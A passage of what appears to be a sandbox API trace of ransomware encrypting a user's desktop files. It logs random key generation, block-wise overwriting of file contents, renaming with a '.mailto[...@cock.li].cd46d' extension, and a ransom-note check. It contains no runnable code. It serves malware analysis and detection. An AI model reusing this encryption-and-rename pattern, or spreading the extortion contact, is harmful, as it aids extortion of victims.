Seed=0x823f73c | out: Seed=0x823f73c) returned 0x523cddd8 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x3e56c817 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x430a8077 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x1b15fd2a [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x4942f75c [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x306bd14f [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x61ef4aed [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x7f183ad5 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x496d6045 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x285a3487 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x92495a8 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x1fa2f5da [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x561c8a9 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x564f3adf [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x190ea2d5 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x7aa1d6ba [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x104bdcb8 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x62b95345 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x5db2072f [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x38c11525 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x56e0ca27 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x7af80181 [0054.218] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x59d10b7c [0054.219] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x16aa4dd [0054.219] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x54c0cc08 [0054.219] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0xef824dc [0054.219] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x10e6a158 [0054.219] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x1b8ae82 [0054.219] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x1dbec284 [0054.219] RtlRandomEx (in: Seed=0x823f73c | out: Seed=0x823f73c) returned 0x4fc1f9ed [0054.231] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.231] ReadFile (in: hFile=0x5d0, lpBuffer=0x5e92ef0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x823f710, lpOverlapped=0x0 | out: lpBuffer=0x5e92ef0*, lpNumberOfBytesRead=0x823f710*=0xc800, lpOverlapped=0x0) returned 1 [0054.232] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0054.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437b98 [0054.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0054.232] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603f0) returned 1 [0054.233] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e9f6f8 [0054.237] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0054.237] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0054.237] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460170) returned 1 [0054.237] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0054.237] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0054.237] WriteFile (in: hFile=0x5d0, lpBuffer=0x5e9f6f8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x823f710, lpOverlapped=0x0 | out: lpBuffer=0x5e9f6f8*, lpNumberOfBytesWritten=0x823f710*=0xc800, lpOverlapped=0x0) returned 1 [0054.452] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e9f6f8) returned 1 [0054.452] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e92ef0) returned 1 [0054.452] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x440fa0 [0054.452] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.452] WriteFile (in: hFile=0x5d0, lpBuffer=0x44ce90*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x823f790, lpOverlapped=0x0 | out: lpBuffer=0x44ce90*, lpNumberOfBytesWritten=0x823f790*=0x119, lpOverlapped=0x0) returned 1 [0054.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44ce90) returned 1 [0054.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440fe0) returned 1 [0054.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d04e8) returned 1 [0054.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440fa0) returned 1 [0054.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603f0) returned 1 [0054.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460440) returned 1 [0054.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603c8) returned 1 [0054.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603a0) returned 1 [0054.511] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d780 [0054.511] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lxI6G-_wCui30eN8.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lxI6G-_wCui30eN8.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lxI6G-_wCui30eN8.flv" [0054.511] wcscat (in: _Dest=0x12f4d780, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lxI6G-_wCui30eN8.flv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lxI6G-_wCui30eN8.flv.mailto[2Hamlampampom@cock.li].cd46d" [0054.511] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lxI6G-_wCui30eN8.flv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x823f748, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lxI6G-_wCui30eN8.flv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.511] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d41c0 [0054.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d41c0) returned 1 [0054.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a1a18) returned 1 [0054.593] NtQueryInformationFile (in: FileHandle=0x5d0, IoStatusBlock=0x823f754, FileInformation=0x823f72c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x823f754, FileInformation=0x823f72c) returned 0x0 [0054.593] NtSetInformationFile (FileHandle=0x5d0, IoStatusBlock=0x823f754, FileInformation=0x823f72c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0054.594] FlushFileBuffers (hFile=0x5d0) returned 1 [0054.595] CloseHandle (hObject=0x5d0) returned 1 [0054.596] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418ed8 [0054.597] wcscpy (in: _Dest=0x418ed8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.597] wcscat (in: _Dest=0x418ed8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.597] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 [0054.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400398) returned 1 Thread: id = 294 os_tid = 0xb00 [0047.010] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PJjpWZ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pjjpwz.wav")) returned 0x20 [0047.010] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PJjpWZ.wav", dwFileAttributes=0x20) returned 1 [0055.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PJjpWZ.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pjjpwz.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5d4 [0055.836] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x8c5f8cc | out: lpFileSize=0x8c5f8cc*=96638) returned 1 [0055.836] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x1797a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.836] ReadFile (in: hFile=0x5d4, lpBuffer=0x8c5f850, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8c5f84c, lpOverlapped=0x0 | out: lpBuffer=0x8c5f850*, lpNumberOfBytesRead=0x8c5f84c*=0x4, lpOverlapped=0x0) returned 1 [0055.836] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.836] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fd88 [0055.836] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fb80 [0055.836] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0448 [0055.836] NtQuerySystemTime (in: CurrentTime=0x8c5f82c | out: CurrentTime=0x8c5f82c*=132174898198248000) returned 0x0 [0055.836] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x47ef387a [0055.836] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x77a53a59 [0055.836] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x34e47cd9 [0055.836] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x50b46223 [0055.836] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x55121920 [0055.836] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x4fdb10a [0055.836] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x6d291626 [0055.836] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x2adc2384 [0055.836] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x712194a8 [0055.836] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x15f2227d [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x42582b44 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x5dca3db1 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x37b04dc3 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x4c0f672d [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x511414b0 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x13e0da75 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x5622ea05 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x36aa48d1 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x5a9e17b9 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x1d6a3389 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x7d20305a [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x2862a78e [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x6c67536f [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x2c8e9203 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x5a12bf32 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x1cc673a6 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x18f6994b [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x2c198689 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x504e49cf [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x46a73fdf [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x46c51534 [0055.837] RtlRandomEx (in: Seed=0x8c5f838 | out: Seed=0x8c5f838) returned 0x2aae8e33 [0055.848] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.848] ReadFile (in: hFile=0x5d4, lpBuffer=0x4bafd8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x8c5f80c, lpOverlapped=0x0 | out: lpBuffer=0x4bafd8*, lpNumberOfBytesRead=0x8c5f80c*=0xc800, lpOverlapped=0x0) returned 1 [0055.849] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402768 [0055.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5d78 [0055.849] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fd88 [0055.849] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fd88) returned 1 [0055.850] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x4c77e0 [0055.850] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fd88 [0055.850] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0448 [0055.850] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0448) returned 1 [0055.850] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5d78) returned 1 [0055.851] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402768) returned 1 [0055.851] WriteFile (in: hFile=0x5d4, lpBuffer=0x4c77e0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x8c5f80c, lpOverlapped=0x0 | out: lpBuffer=0x4c77e0*, lpNumberOfBytesWritten=0x8c5f80c*=0xc800, lpOverlapped=0x0) returned 1 [0060.789] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4c77e0) returned 1 [0060.789] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4bafd8) returned 1 [0060.789] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cef60 [0060.789] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.789] WriteFile (in: hFile=0x5d4, lpBuffer=0x4452d8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x8c5f88c, lpOverlapped=0x0 | out: lpBuffer=0x4452d8*, lpNumberOfBytesWritten=0x8c5f88c*=0x105, lpOverlapped=0x0) returned 1 [0062.791] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0062.791] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef90) returned 1 [0062.791] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436520) returned 1 [0062.791] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef60) returned 1 [0062.791] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fd88) returned 1 [0062.791] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fb80) returned 1 [0062.791] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0380) returned 1 [0062.791] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0470) returned 1 [0062.791] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c630 [0062.791] wcscpy (in: _Dest=0x45c630, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PJjpWZ.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PJjpWZ.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PJjpWZ.wav" [0062.791] wcscat (in: _Dest=0x45c630, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PJjpWZ.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PJjpWZ.wav.mailto[2Hamlampampom@cock.li].cd46d" [0062.791] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PJjpWZ.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8c5f844, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PJjpWZ.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.791] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d910 [0062.953] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d910) returned 1 [0062.953] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49eaa8) returned 1 [0062.953] NtQueryInformationFile (in: FileHandle=0x5d4, IoStatusBlock=0x8c5f850, FileInformation=0x8c5f828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8c5f850, FileInformation=0x8c5f828) returned 0x0 [0062.953] NtSetInformationFile (FileHandle=0x5d4, IoStatusBlock=0x8c5f850, FileInformation=0x8c5f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.955] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c630) returned 1 [0062.955] FlushFileBuffers (hFile=0x5d4) returned 1 [0066.197] CloseHandle (hObject=0x5d4) Thread: id = 295 os_tid = 0xb14 [0047.012] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QNu2n.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qnu2n.mkv")) returned 0x20 [0047.012] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QNu2n.mkv", dwFileAttributes=0x20) returned 1 [0054.199] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QNu2n.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qnu2n.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5d8 [0054.199] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x8edfb2c | out: lpFileSize=0x8edfb2c*=40497) returned 1 [0054.199] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x9e2d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.200] ReadFile (in: hFile=0x5d8, lpBuffer=0x8edfab0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8edfaac, lpOverlapped=0x0 | out: lpBuffer=0x8edfab0*, lpNumberOfBytesRead=0x8edfaac*=0x4, lpOverlapped=0x0) returned 1 [0054.200] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.200] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0054.200] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4604e0 [0054.200] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460440 [0054.200] NtQuerySystemTime (in: CurrentTime=0x8edfa8c | out: CurrentTime=0x8edfa8c*=132174898181868000) returned 0x0 [0054.200] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x186b482f [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x6f4da66c [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x6a343493 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x934258b [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x1155fb0a [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x3e9ba19b [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x26c8322 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x5da24ded [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0xbb0f8de [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x6b410ed3 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x4fa0ab2 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x5e0565f3 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x3a83ed23 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x1fbc1019 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x642d5fe3 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x697b7e68 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x40969a8f [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x1508ca2c [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x5f78fe76 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x3f7d1a58 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x3c468712 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x5f71e56 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x445ef213 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x7632e622 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x3bf6a894 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x6457c747 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x720eaa91 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x2755da2d [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x639ed4a0 [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x5a53f0de [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x8544d5f [0054.201] RtlRandomEx (in: Seed=0x8edfa98 | out: Seed=0x8edfa98) returned 0x1e1d5f61 [0054.213] ReadFile (in: hFile=0x5d8, lpBuffer=0x5e79ee0, nNumberOfBytesToRead=0x9e31, lpNumberOfBytesRead=0x8edfa88, lpOverlapped=0x0 | out: lpBuffer=0x5e79ee0*, lpNumberOfBytesRead=0x8edfa88*=0x9e31, lpOverlapped=0x0) returned 1 [0054.215] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.215] WriteFile (in: hFile=0x5d8, lpBuffer=0x5e866e8*, nNumberOfBytesToWrite=0x9e31, lpNumberOfBytesWritten=0x8edfa84, lpOverlapped=0x0 | out: lpBuffer=0x5e866e8*, lpNumberOfBytesWritten=0x8edfa84*=0x9e31, lpOverlapped=0x0) returned 1 [0054.450] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0538 [0054.451] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0588 [0054.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0588) returned 1 [0054.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e866e8) returned 1 [0054.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e79ee0) returned 1 [0054.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 [0054.451] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c2d0) returned 1 [0054.451] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x95d0588 [0054.451] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.451] WriteFile 